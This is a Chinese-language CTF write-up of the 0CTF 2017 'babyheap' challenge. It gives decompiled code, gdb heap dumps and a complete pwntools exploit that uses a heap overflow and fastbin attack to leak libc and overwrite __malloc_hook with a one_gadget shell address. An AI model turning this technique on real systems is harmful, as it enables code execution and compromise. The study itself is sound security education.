checksec

>>> from pwn import *
>>> print ELF('./babyheap').checksec()
[*] '/home/morty/ctf-challenges/pwn/heap/fastbin-attack/2017_0ctf_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

file

file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

运行下看看

$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1      // 分配一个指定大小的 chunk
Size: 5
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2      // 将指定大小数据放进 chunk,但似乎没有进行边界检查,导致溢出
Index: 0
Size: 10
Content: aaaaaaaaaa     // 10个a
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1. Allocate    // 似乎触发了什么 bug,如果是9个a就没事
2. Fill
3. Free
4. Dump
5. Exit
Command: 4      // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度
Index: 0
Content:
aaaaa
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 3      // 释放 chunk
Index: 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5

其中使用ida反汇编,alloc函数如下

void __fastcall allocate(__int64 a1)
{
  signed int i; // [sp+10h] [bp-10h]@1
  signed int v2; // [sp+14h] [bp-Ch]@3
  void *v3; // [sp+18h] [bp-8h]@6

  for ( i = 0; i <= 15; ++i )                   // 最多存放16个结构
  {
    if ( !*(_DWORD *)(24LL * i + a1) )          // 根据flag判断这个地址是否有人用
    {
      printf("Size: ");
      v2 = get_a_number();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);                  // alloc会置空
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;         // flag,表示这个结构有人用
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;    // chunk的size
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;   // 指向alloc的指针,就是指向content的指针
        printf("Allocate Index %d\n", (unsigned int)i);// 这是第i个结构
      }
      return;
    }
  }
}

fill函数

unsigned __int64 __fastcall fill(__int64 a1)
{
  unsigned __int64 result; // rax@1
  int v2; // [sp+18h] [bp-8h]@1
  int v3; // [sp+1Ch] [bp-4h]@4

  printf("Index: ");
  result = get_a_number();
  v2 = result;
  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
  {
    result = *(_DWORD *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = get_a_number();
      v3 = result;
      if ( (signed int)result > 0 )             // 这里并没有对size进行限制,导致可以输入任意长度
      {
        printf("Content: ");
        result = save_data(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

save_data函数

unsigned __int64 __fastcall save_data(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax@2
  unsigned __int64 v3; // [sp+10h] [bp-10h]@3
  ssize_t v4; // [sp+18h] [bp-8h]@4

  if ( a2 )                                     // a2是指定content的长度
  {
    v3 = 0LL;
    while ( v3 < a2 )
    {
      v4 = read(0, (void *)(v3 + a1), a2 - v3); // a1是alloc的指针,指向content的地址
      if ( v4 > 0 )
      {
        v3 += v4;
      }
      else if ( *_errno_location() != 11 && *_errno_location() != 4 )
      {
        break;
      }
    }
    result = v3;
  }
  else
  {
    result = 0LL;
  }
  return result;
}

free函数如下

__int64 __fastcall free_morty(__int64 a1)
{
  __int64 result; // rax@1
  int v2; // [sp+1Ch] [bp-4h]@1

  printf("Index: ");
  result = get_a_number();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(_DWORD *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

可以看到,这段free函数写的是很安全的,首先对用户通过下标选择进行free的chunk在索引表层面做了存在性检查,如果exist字段为0说明已经free便不再继续执行free,这有利于防范double free;free成功后,相应的索引表的exist字段置空、堆指针置NULL也做到位了。总之该部分没有安全漏洞。

根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。

将各个方法写好,测试

from pwn import *


def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))


def fill(idx, size, content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.send(content)


def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


p = process('./babyheap')

allocate(0x10)  # idx 0, 0x00
allocate(0x10)  # idx 1, 0x20
allocate(0x10)  # idx 2, 0x40
allocate(0x10)  # idx 3, 0x60
allocate(0x80)  # idx 4, 0x80

fill(0, 4, 'aaaa')
fill(1, 4, 'bbbb')
dump(0)
print p.recvline()
print p.recvline()
print p.recvline()
dump(1)
print p.recvline()
print p.recvline()
print p.recvline()
free(1)
dump(1)
print p.recvline()
print p.recvline()
print p.recvline()

首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察:

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

fill(0,16, "A"*16)
fill(1,16, "A"*16)
fill(2,16, "A"*16)
fill(3,16, "A"*16)
fill(4,128, "A"*128)
free(2)

通过fastbin查找chunk位置

gdb-peda$ p main_arena .fastbinsY 
$3 = {0x555555757040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

或者这样

gdb-peda$ p main_arena
$4 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x555555757040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x555555757110, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd7678 <main_arena+88>, 0x7ffff7dd7678 <main_arena+88>, 0x7ffff7dd7688 <main_arena+104>, 
 ...
 ...
 gdb-peda$ x/gx 0x7ffff7dd7678
0x7ffff7dd7678 <main_arena+88>:	0x0000555555757110
 gdb-peda$ x/36gx 0x0000555555757110-0x110					#0x110 = 0x80 +0x10 +0x10 +0x10 +0x10 -0x10
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x4141414141414141	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021
0x555555757050:	0x0000000000000000	0x4141414141414141
0x555555757060:	0x0000000000000000	0x0000000000000021
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1

free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1:

free(1)
free(2)

gdb中查看

gdb-peda$ x/36gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021
0x555555757050:	0x0000555555757020	0x4141414141414141
0x555555757060:	0x0000000000000000	0x0000000000000021
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1

通过gdb中的find查找某个值的地址

gdb-peda$ find 0x555555757010
Searching for '0x555555757010' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x20cc260f4450 --> 0x555555757010 ('A' <repeats 16 times>)

mmap中的结构

gdb-peda$ x/20gx 0x20cc260f4440
0x20cc260f4440:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0x20cc260f4450:	0x0000555555757010	0x0000000000000000
0x20cc260f4460:	0x0000000000000000	0x0000000000000000
0x20cc260f4470:	0x0000000000000000	0x0000000000000000
0x20cc260f4480:	0x0000000000000000	0x0000000000000001  <-- idx 3 -> chunk 3
0x20cc260f4490:	0x0000000000000010	0x0000555555757070
0x20cc260f44a0:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0x20cc260f44b0:	0x0000555555757090	0x0000000000000000
0x20cc260f44c0:	0x0000000000000000	0x0000000000000000
0x20cc260f44d0:	0x0000000000000000	0x0000000000000000

free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。

通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:

payload  = "B"*16                               #   chunk0
payload += p64(0) +p64(0x21)+p64(0)+"C"*8       #   伪造的chunk1
payload += p64(0)+ p64(0x21)+ p8(0x80)          #   伪造的chunk2
fill(0,len(payload), payload)

payload  = "D"*16                               #chunk3
payload  += p64(0)+ p64(0x21)                   #伪造的chunk4
fill(3,len(payload), payload)
gdb-peda$ x/36gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0	
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1	[be freed]
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2	[be freed]  <-- fast bins	
0x555555757050:	0x0000555555757080	0x4141414141414141		<-- fd pointer
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4444444444444444	0x4444444444444444
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1

追一下构造的fastbin

gdb-peda$ p main_arena .fastbinsY 
$2 = {0x555555757040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0x555555757040
0x555555757040:	0x0000000000000000	0x0000000000000021
0x555555757050:	0x0000555555757080	0x4141414141414141
gdb-peda$ x/4gx 0x0000555555757080
0x555555757080:	0x0000000000000000	0x0000000000000021
0x555555757090:	0x4141414141414141	0x4141414141414141

现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的:

allocate(0x10)
allocate(0x10)
fill(1,16, "B"*16)
fill(2,16, "C"*16)
fill(4,16, "D"*16)

运行了两个fill

gdb-peda$ x/36gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021
0x555555757050:	0x4545454545454545	0x4545454545454545
0x555555757060:	0x0000000000000000	0x0000000000000021
0x555555757070:	0x4444444444444444	0x4444444444444444
0x555555757080:	0x0000000000000000	0x0000000000000021
0x555555757090:	0x4646464646464646	0x4646464646464646
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1

运行了3个fill

gdb-peda$ x/36gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4545454545454545	0x4545454545454545
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4444444444444444	0x4444444444444444
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4
0x555555757090:	0x4747474747474747	0x4747474747474747
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1

查看mmap处的情况

gdb-peda$ x/20gx 0x222f5bf6bc10
0x222f5bf6bc10:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0x222f5bf6bc20:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0x222f5bf6bc30:	0x0000000000000010	0x0000555555757050
0x222f5bf6bc40:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0x222f5bf6bc50:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0x222f5bf6bc60:	0x0000000000000010	0x0000555555757070
0x222f5bf6bc70:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0x222f5bf6bc80:	0x0000555555757090	0x0000000000000000
0x222f5bf6bc90:	0x0000000000000000	0x0000000000000000
0x222f5bf6bca0:	0x0000000000000000	0x0000000000000000

可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。

再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk:

payload  = "a"*16       #chunk3
payload += p64(0)       #chunk 4
payload += p64(0x91)    #将chunk4的size改为0x91
fill(3,len(payload) ,payload)

allocate(0x80)
fill(5, 128,"b"*128)        #为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk
gdb-peda$ x/54gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4545454545454545	0x4545454545454545
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x6161616161616161	0x6161616161616161
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4, new chunk 2
0x555555757090:	0x4747474747474747	0x4747474747474747
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000000091  <-- chunk 5
0x555555757120:	0x6262626262626262	0x6262626262626262
0x555555757130:	0x6262626262626262	0x6262626262626262
0x555555757140:	0x6262626262626262	0x6262626262626262
0x555555757150:	0x6262626262626262	0x6262626262626262
0x555555757160:	0x6262626262626262	0x6262626262626262
0x555555757170:	0x6262626262626262	0x6262626262626262
0x555555757180:	0x6262626262626262	0x6262626262626262
0x555555757190:	0x6262626262626262	0x6262626262626262
0x5555557571a0:	0x0000000000000000	0x0000000000020e61  <-- top chunk

mmap中的情况

gdb-peda$ x/20gx 0x28787688b630
0x28787688b630:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0x28787688b640:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0x28787688b650:	0x0000000000000010	0x0000555555757050
0x28787688b660:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0x28787688b670:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0x28787688b680:	0x0000000000000010	0x0000555555757070
0x28787688b690:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0x28787688b6a0:	0x0000555555757090	0x0000000000000001  <-- idx 5 -> chunk 5
0x28787688b6b0:	0x0000000000000080	0x0000555555757120
0x28787688b6c0:	0x0000000000000000	0x0000000000000000

这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:

free(4)

chunk的情况

gdb-peda$ x/54gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021
0x555555757050:	0x4545454545454545	0x4545454545454545
0x555555757060:	0x0000000000000000	0x0000000000000021
0x555555757070:	0x6161616161616161	0x6161616161616161
0x555555757080:	0x0000000000000000	0x0000000000000091
0x555555757090:	0x00007ffff7dd7678	0x00007ffff7dd7678
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000090	0x0000000000000090
0x555555757120:	0x6262626262626262	0x6262626262626262
0x555555757130:	0x6262626262626262	0x6262626262626262
0x555555757140:	0x6262626262626262	0x6262626262626262
0x555555757150:	0x6262626262626262	0x6262626262626262
0x555555757160:	0x6262626262626262	0x6262626262626262
0x555555757170:	0x6262626262626262	0x6262626262626262
0x555555757180:	0x6262626262626262	0x6262626262626262
0x555555757190:	0x6262626262626262	0x6262626262626262
0x5555557571a0:	0x0000000000000000	0x0000000000020e61

mmap中的情况

gdb-peda$ x/40gx 0x332c15da100
0x332c15da100:	0x0000000000000001	0x0000000000000010
0x332c15da110:	0x0000555555757010	0x0000000000000001
0x332c15da120:	0x0000000000000010	0x0000555555757050
0x332c15da130:	0x0000000000000001	0x0000000000000010
0x332c15da140:	0x0000555555757090	0x0000000000000001
0x332c15da150:	0x0000000000000010	0x0000555555757070
0x332c15da160:	0x0000000000000000	0x0000000000000000
0x332c15da170:	0x0000000000000000	0x0000000000000001
0x332c15da180:	0x0000000000000080	0x0000555555757120
0x332c15da190:	0x0000000000000000	0x0000000000000000
0x332c15da1a0:	0x0000000000000000	0x0000000000000000

验证

gdb-peda$ x/gx 0x00007ffff7dd7678
0x7ffff7dd7678 <main_arena+88>:	0x00005555557571a0

查看malloc_hook的偏移

readelf -s libc-2.19.so | grep __malloc_hook
  1077: 000000000039b610     8 OBJECT  WEAK   DEFAULT   31 __malloc_hook@@GLIBC_2.2.5
  7272: 000000000039b610     8 OBJECT  WEAK   DEFAULT   31 __malloc_hook

验证

gdb-peda$ x/4s 0x7ffff7dd7678-88 -0x10 -0x39b610
0x7ffff7a3c000:	"\177ELF\002\001\001\003"

one_gadget地址

one_gadget libc-2.19.so 
0x3d19a execve("/bin/sh", rsp+0x20, environ)
constraints:
  [rsp+0x20] == NULL

0xcf87a execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xcf87f execve("/bin/sh", rsi, environ)
constraints:
  [rsi] == NULL || rsi == NULL

由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 __malloc_hook,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller),当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可

malloc_hook地址

gdb-peda$ x/gx 0x7ffff7dd7610
0x7ffff7dd7610 <__malloc_hook>:	0x0000000000000000

我们需要利用 fastbins 在 __malloc_hook 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk:

gdb-peda$ x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd75f0 <severity_list>:	0x00007ffff7dd3920	0x0000000000000000
0x7ffff7dd7600 <__memalign_hook>:	0x00007ffff7ab6f55	0x00007ffff7ab6f16
0x7ffff7dd7610 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd7620 <main_arena>:	0x0000000000000000	0x4141414141414141	<-- target
0x7ffff7dd7630 <main_arena+16>:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd75fd:	0xfff7ab6f55000000	0xfff7ab6f1600007f		<-- fake chunk
0x7ffff7dd760d <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7ffff7dd761d:	0x0000000000000000	0x4141414141000000
0x7ffff7dd762d <main_arena+13>:	0x0000000000414141	0x0000000000000000
0x7ffff7dd763d <main_arena+29>:	0x0000000000000000	0x0000000000000000

之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来):

gdb-peda$ x/54gx 0x0000555555757110-0x110
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4242424242424242	0x4242424242424242
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4343434343434343
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4545454545454545	0x4545454545454545
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x6161616161616161	0x6161616161616161
0x555555757080:	0x0000000000000000	0x0000000000000071  <-- new chunk 2, new chunk 4 [be freed]
0x555555757090:	0x00007ffff7dd75fd	0x0000000000000000      <-- fd pointer
0x5555557570a0:	0x0000000000000000	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000000000000000	0x0000000000000021      <-- unsorted bin
0x555555757100:	0x00007ffff7dd7678	0x00007ffff7dd7678
0x555555757110:	0x0000000000000020	0x0000000000000090  <-- chunk 5
0x555555757120:	0x6262626262626262	0x6262626262626262
0x555555757130:	0x6262626262626262	0x6262626262626262
0x555555757140:	0x6262626262626262	0x6262626262626262
0x555555757150:	0x6262626262626262	0x6262626262626262
0x555555757160:	0x6262626262626262	0x6262626262626262
0x555555757170:	0x6262626262626262	0x6262626262626262
0x555555757180:	0x6262626262626262	0x6262626262626262
0x555555757190:	0x6262626262626262	0x6262626262626262
0x5555557571a0:	0x0000000000000000	0x0000000000020e61

mmap情况

gdb-peda$ x/20gx 0x70cebae0150-0x10
0x70cebae0140:	0x0000000000000001	0x0000000000000010
0x70cebae0150:	0x0000555555757010	0x0000000000000001
0x70cebae0160:	0x0000000000000010	0x0000555555757050
0x70cebae0170:	0x0000000000000001	0x0000000000000010
0x70cebae0180:	0x0000555555757090	0x0000000000000001
0x70cebae0190:	0x0000000000000010	0x0000555555757070
0x70cebae01a0:	0x0000000000000001	0x0000000000000060
0x70cebae01b0:	0x0000555555757090	0x0000000000000001
0x70cebae01c0:	0x0000000000000080	0x0000555555757120
0x70cebae01d0:	0x0000000000000000	0x0000000000000000

最终的exp

#coding=utf-8
from pwn import *

def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))


def fill(idx, size, content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.send(content)


def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

p = process('./babyheap')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

fill(0,16, "A"*16)
fill(1,16, "A"*16)
fill(2,16, "A"*16)
fill(3,16, "A"*16)
fill(4,128, "A"*128)

free(1)
free(2)

payload  = "B"*16                               #   chunk0
payload += p64(0) +p64(0x21)+p64(0)+"C"*8       #   伪造的chunk1
payload += p64(0)+ p64(0x21)+ p8(0x80)          #   伪造的chunk2
fill(0,len(payload), payload)

payload  = "D"*16                               #chunk3
payload  += p64(0)+ p64(0x21)                   #伪造的chunk4
fill(3,len(payload), payload)

allocate(0x10)
allocate(0x10)
fill(1,16, "E"*16)
fill(2,16, "F"*16)
fill(4,16, "G"*16)

payload  = "a"*16       #chunk3
payload += p64(0)       #chunk 4
payload += p64(0x91)    #将chunk4的size改为0x91
fill(3,len(payload) ,payload)

allocate(0x80)
fill(5, 128,"b"*128)        #为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk

free(4)
dump(2)
p.recvuntil('Content: \n')
leak =  u64(p.recvline()[:8])     #   main_arena+88
libc_base = (leak -88 -0x10 -0x39b610)
print  hex(libc_base)    #   (main_arena+88) - 88 - _main_arena_malloc_hook - malloc_hook_off
__malloc_hook = libc_base + 0x39b610
one_gadget = libc_base + 0xcf87f		#	0x7ffff7b0b87f
print 'one_gadget'
print hex(one_gadget)
print hex(__malloc_hook)
allocate(0x60)
free(4)
payload = p64(libc_base + 0x39b5ed)
fill(2,len(payload) ,payload)

#raw_input('#')

allocate(0x60)
#print p.recvline()
#raw_input('#')
allocate(0x60)
print p.recvline()
#print p.recvline()

#raw_input('#')
payload  = p8(0)*3+p64(0x1111)+p64(0x2222)
payload += p64(one_gadget)
fill(6,len(payload), payload)
raw_input('#')
allocate(1)
p.interactive()

#raw_input('#')

gdb上打断点,验证了确实走到了这里

[-------------------------------------code-------------------------------------]
   0x7ffff7b0b86e <exec_comm+591>:	mov    edi,DWORD PTR [rsp+0x180]
   0x7ffff7b0b875 <exec_comm+598>:	call   0x7ffff7b10ff0 <close>
   0x7ffff7b0b87a <exec_comm+603>:	lea    rsi,[rsp+0x40]
=> 0x7ffff7b0b87f <exec_comm+608>:	mov    rax,QWORD PTR [rip+0x2cb60a]        # 0x7ffff7dd6e90
   0x7ffff7b0b886 <exec_comm+615>:	mov    rdx,QWORD PTR [rax]
   0x7ffff7b0b889 <exec_comm+618>:	lea    rdi,[rip+0x89ada]        # 0x7ffff7b9536a
   0x7ffff7b0b890 <exec_comm+625>:	call   0x7ffff7aef0c9 <__execve>
   0x7ffff7b0b895 <exec_comm+630>:	call   0x7ffff7a6e7ee <__GI_abort>

只是我的libc没有满足要求的one_gadget,所以没有get到shell